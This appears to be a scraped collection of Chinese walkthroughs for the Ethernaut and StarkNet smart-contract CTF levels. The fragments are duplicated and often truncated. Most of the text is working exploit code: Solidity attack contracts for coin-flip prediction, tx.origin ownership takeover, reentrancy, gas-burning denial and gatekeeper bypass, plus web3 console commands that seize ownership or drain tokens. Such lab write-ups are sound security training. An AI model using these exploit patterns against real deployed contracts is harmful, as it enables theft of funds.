Ex01：直接claim.Ex02：输入31020Ex03：4次+1次，是的值为7.Ex04：钱包地址输入下图位置得出一个数值点击Query：将得到的数值输入下图位置然后点击Query：将得到的数值减去32得到的数值（n-32）输入下图位置然后点击Transact：Ex05：点击下图中的Transact：钱包地址输入下图位置得出一个数值点击Query：点击下图中的Transact：钱包地址输入下图位置得出一个数值点击Query：将得到的数值输入下图位置然后点击Transact：Ex06：点击下图中的Transact：在下图位置中输入钱包地址，然后点击Query：在下图位置中输入数字“o”，然后点击Transact：钱包地址输入下图位置得出一个数值点击Query：将得到的地址输入下图并点击Transact：Ex07： Ex08：Ex09：在下图位置中输入数组： 140, 40, 20, 10然后再在claim处输入数组： 140, 40, 20, 10Ex10：Ex11： Ex12： Ex13： 任务网址： https://github.com/l-henri/starknet-c...

Ex01：直接claim.Ex02：输入31020Ex03：4次+1次，是的值为7.Ex04：钱包地址输入下图位置得出一个数值点击Query：将得到的数值输入下图位置然后点击Query：将得到的数值减去32得到的数值（n-32）输入下图位置然后点击Transact：Ex05：点击下图中的Transact：钱包地址输入下图位置得出一个数值点击Query：点击下图中的Transact：钱包地址输入下图位置得出一个数值点击Query：将得到的数值输入下图位置然后点击Transact：Ex06：点击下图中的Transact：在下图位置中输入钱包地址，然后点击Query：在下图位置中输入数字“o”，然后点击Transact：钱包地址输入下图位置得出一个数值点击Query：将得到的地址输入下图并点击Transact：Ex07： Ex08：Ex09：在下图位置中输入数组： 140, 40, 20, 10然后再在claim处输入数组： 140, 40, 20, 10Ex10：Ex11： Ex12： Ex13： 任务网址： https://github.com/l-henri/starknet-c...

https://remix.ethereum.org/ 1.使用上述链接 2.创建CoinFlip.sol文件并写入代码，代码如下： pragma solidity ^0.6.0; interface CoinFlip{ function flip(bool _guess) external returns (bool);} contract Hack{ CoinFlip coin_flip; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; bool public side; constructor (address _addr) public{ coin_flip=CoinFlip(_addr); } function hack() public { uint256 blockValue = uint256(blockhash(block.number - 1)); uint256 coinFlip =uint256(uint256(b...

https://remix.ethereum.org/ 1.使用上述链接 2.创建CoinFlip.sol文件并写入代码，代码如下： pragma solidity ^0.6.0; interface CoinFlip{ function flip(bool _guess) external returns (bool);} contract Hack{ CoinFlip coin_flip; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; bool public side; constructor (address _addr) public{ coin_flip=CoinFlip(_addr); } function hack() public { uint256 blockValue = uint256(blockhash(block.number - 1)); uint256 coinFlip =uint256(uint256(b...

测试171.谷歌浏览器中输入：contract.address,输出合约地址。 2..谷歌浏览器中输入： web3.utils.soliditySha3("0xd6","0x94", "填写1中得到的地址", "0x01") 回车后得到一行字符串。后面就是要找的毁约地址。 3.谷歌浏览器中输入： data = web3.eth.abi.encodeFunctionCall({ name: 'destroy', type: 'function', inputs: [{ type: 'address', name: '_to' }] }, [player]); 回车。 4.谷歌浏览器中输入： await web3.eth.sendTransaction({ to: "第2步中找到的合约地址", from: player, data: data }) 回车后确认钱包，任务结束。测试181.bytecode = '600a600c600039600a6000f3602a60505260206050f3' tx...

测试171.谷歌浏览器中输入：contract.address,输出合约地址。 2..谷歌浏览器中输入： web3.utils.soliditySha3("0xd6","0x94", "填写1中得到的地址", "0x01") 回车后得到一行字符串。后面就是要找的毁约地址。 3.谷歌浏览器中输入： data = web3.eth.abi.encodeFunctionCall({ name: 'destroy', type: 'function', inputs: [{ type: 'address', name: '_to' }] }, [player]); 回车。 4.谷歌浏览器中输入： await web3.eth.sendTransaction({ to: "第2步中找到的合约地址", from: player, data: data }) 回车后确认钱包，任务结束。测试181.bytecode = '600a600c600039600a6000f3602a60505260206050f3' tx...

一、Ethernaut CTF - Token (Level 5)教程1.谷歌浏览器输入 await contract.transfer('0x477b8d5ef7c2c42db84deb555419cd817c336b6f' , 20 + 1) 确认后提交二、Ethernaut CTF - Delegation (Level 6)教程1.谷歌浏览器输入 var pwned_attck = web3.utils.keccak256("pwn()") 2.谷歌浏览器输入 contract.sendTransaction({data: pwned_attck}) 结提交任务，进入下一个测试。三、Ethernaut Lv. 7 | Force | Hacking Smart Contracts教程1.在remix.ethereum.org简历新的文件夹，并编辑以下代码： pragma solidity ^0.8.0; contract OUflows{ mapping(address=>uint) public balances; constructor() pay...

一、Ethernaut CTF - Token (Level 5)教程1.谷歌浏览器输入 await contract.transfer('0x477b8d5ef7c2c42db84deb555419cd817c336b6f' , 20 + 1) 确认后提交二、Ethernaut CTF - Delegation (Level 6)教程1.谷歌浏览器输入 var pwned_attck = web3.utils.keccak256("pwn()") 2.谷歌浏览器输入 contract.sendTransaction({data: pwned_attck}) 结提交任务，进入下一个测试。三、Ethernaut Lv. 7 | Force | Hacking Smart Contracts教程1.在remix.ethereum.org简历新的文件夹，并编辑以下代码： pragma solidity ^0.8.0; contract OUflows{ mapping(address=>uint) public balances; constructor() pay...

1. remix.ethereum.org 2.新建 Telephone.sol文件 3.编译 pragma solidity ^0.5.0; interface Telephone{ function changeOwner(address _owner) external;} contract Hack{ function attack(address _addr ,address _owner) public{ Telephone teleContract = Telephone(_addr); teleContract.changeOwner( _owner); }} 4.5.先点击Deploy，部署成功后在attack的地址栏处填写地址：”A，B”,其中A为合约持有者地址，可以在谷歌浏览器开发者工具中找到。B为自己钱包地址。然后点击attack。任务结束。

1. remix.ethereum.org 2.新建 Telephone.sol文件 3.编译 pragma solidity ^0.5.0; interface Telephone{ function changeOwner(address _owner) external;} contract Hack{ function attack(address _addr ,address _owner) public{ Telephone teleContract = Telephone(_addr); teleContract.changeOwner( _owner); }} 4.5.先点击Deploy，部署成功后在attack的地址栏处填写地址：”A，B”,其中A为合约持有者地址，可以在谷歌浏览器开发者工具中找到。B为自己钱包地址。然后点击attack。任务结束。

测试241.浏览器中输入：functionSignature = { name: 'proposeNewAdmin', type: 'function', inputs: [ { type: 'address', name: '_newAdmin' } ] } params = [player] data = web3.eth.abi.encodeFunctionCall(functionSignature, params) await web3.eth.sendTransaction({from: player, to: instance, data}) 2.浏览器中输入：await contract.owner() === player // Output: true 3.浏览器中输入： await contract.addToWhitelist(player) 4.浏览器中输入：await getBalance(contract.address) // Output: 0.001 5.浏览器中输入：// deposit() method depositData = awai...

测试241.浏览器中输入：functionSignature = { name: 'proposeNewAdmin', type: 'function', inputs: [ { type: 'address', name: '_newAdmin' } ] } params = [player] data = web3.eth.abi.encodeFunctionCall(functionSignature, params) await web3.eth.sendTransaction({from: player, to: instance, data}) 2.浏览器中输入：await contract.owner() === player // Output: true 3.浏览器中输入： await contract.addToWhitelist(player) 4.浏览器中输入：await getBalance(contract.address) // Output: 0.001 5.浏览器中输入：// deposit() method depositData = awai...

测试201.在 Remix 上部署GasBurner并复制它的地址（见下图位置），代码如下：// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract GasBurner { uint256 n; function burn() internal { while (gasleft() > 0) { n += 1; } } receive() external payable { burn(); } } 2.浏览器中输入以下代码：await contract.setWithdrawPartner('部署的合约地址') 任务结束。测试21.Buyer在 Remix 中编写恶意代码：// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IShop { function buy() external; function isSold() external view returns (bool); function price() extern...

测试201.在 Remix 上部署GasBurner并复制它的地址（见下图位置），代码如下：// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract GasBurner { uint256 n; function burn() internal { while (gasleft() > 0) { n += 1; } } receive() external payable { burn(); } } 2.浏览器中输入以下代码：await contract.setWithdrawPartner('部署的合约地址') 任务结束。测试21.Buyer在 Remix 中编写恶意代码：// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IShop { function buy() external; function isSold() external view returns (bool); function price() extern...

测试141.编辑合约代码：其中部署合约地址填写谷歌浏览器提供的地址。部署后任务就结束。提交。// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract GatePassTwo { constructor(address _gateAddr) public { bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0xffffffffffffffff)); address(_gateAddr).call(abi.encodeWithSignature("enter(bytes8)", key)); } } 测试151.浏览器输入：contract.approve(player,toWei("1000000")) 2.浏览器输入： contract.transferFrom(player,contract.address,toWei("1000000")) 结束提交。测试161.编辑合约代码并部...

测试141.编辑合约代码：其中部署合约地址填写谷歌浏览器提供的地址。部署后任务就结束。提交。// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract GatePassTwo { constructor(address _gateAddr) public { bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0xffffffffffffffff)); address(_gateAddr).call(abi.encodeWithSignature("enter(bytes8)", key)); } } 测试151.浏览器输入：contract.approve(player,toWei("1000000")) 2.浏览器输入： contract.transferFrom(player,contract.address,toWei("1000000")) 结束提交。测试161.编辑合约代码并部...

测试111.在remix.ethereum.org 中新建，命名为Eth11.sol .复制11题目的源代码并且Compile。 2.新建另一个文件 ，粘贴以下代码： // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import './Eth11.sol'; contract ElevatorAttack { bool public toggle = true; Elevator public target; constructor(address _targetAddress) public { target = Elevator(_targetAddress); } function isLastFloor(uint) public returns(bool) { toggle = !toggle; return toggle; } function setTop(uint _floor) public { target.goTo(_floor); }} Compile 这个合约。 部署这个合...

测试111.在remix.ethereum.org 中新建，命名为Eth11.sol .复制11题目的源代码并且Compile。 2.新建另一个文件 ，粘贴以下代码： // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import './Eth11.sol'; contract ElevatorAttack { bool public toggle = true; Elevator public target; constructor(address _targetAddress) public { target = Elevator(_targetAddress); } function isLastFloor(uint) public returns(bool) { toggle = !toggle; return toggle; } function setTop(uint _floor) public { target.goTo(_floor); }} Compile 这个合约。 部署这个合...

1.将官方提供的源代码做些许改动，并创建名为Eth13.sol文件。改动后的代码如下：// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol'; contract GatekeeperOne { using SafeMath for uint256; address public entrant; uint256 i = uint256(uint160(address(tx.origin))); modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(gasleft().mod(8191) == 0); _; } modifier gateThree(bytes8 _ga...

1.将官方提供的源代码做些许改动，并创建名为Eth13.sol文件。改动后的代码如下：// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol'; contract GatekeeperOne { using SafeMath for uint256; address public entrant; uint256 i = uint256(uint160(address(tx.origin))); modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(gasleft().mod(8191) == 0); _; } modifier gateThree(bytes8 _ga...

1.平台建立新文件remix.ethereum.org，命名为Eth10_attack.sol ,导入以下代码：// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IReentrance { function donate(address _to) external payable; function withdraw(uint _amount) external; } contract ReentranceAttack { address public owner; IReentrance targetContract; uint targetValue = 1000000000000000; constructor(address _targetAddr) public { targetContract = IReentrance(_targetAddr); owner = msg.sender; } function balance() public view returns (uint) { ...

1.平台建立新文件remix.ethereum.org，命名为Eth10_attack.sol ,导入以下代码：// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IReentrance { function donate(address _to) external payable; function withdraw(uint _amount) external; } contract ReentranceAttack { address public owner; IReentrance targetContract; uint targetValue = 1000000000000000; constructor(address _targetAddr) public { targetContract = IReentrance(_targetAddr); owner = msg.sender; } function balance() public view returns (uint) { ...

1. await contract.Fal1out() 2. await contract.owner() 确认合约拥有者为自己的钱包后提交，进入下一练习。

1. await contract.Fal1out() 2. await contract.owner() 确认合约拥有者为自己的钱包后提交，进入下一练习。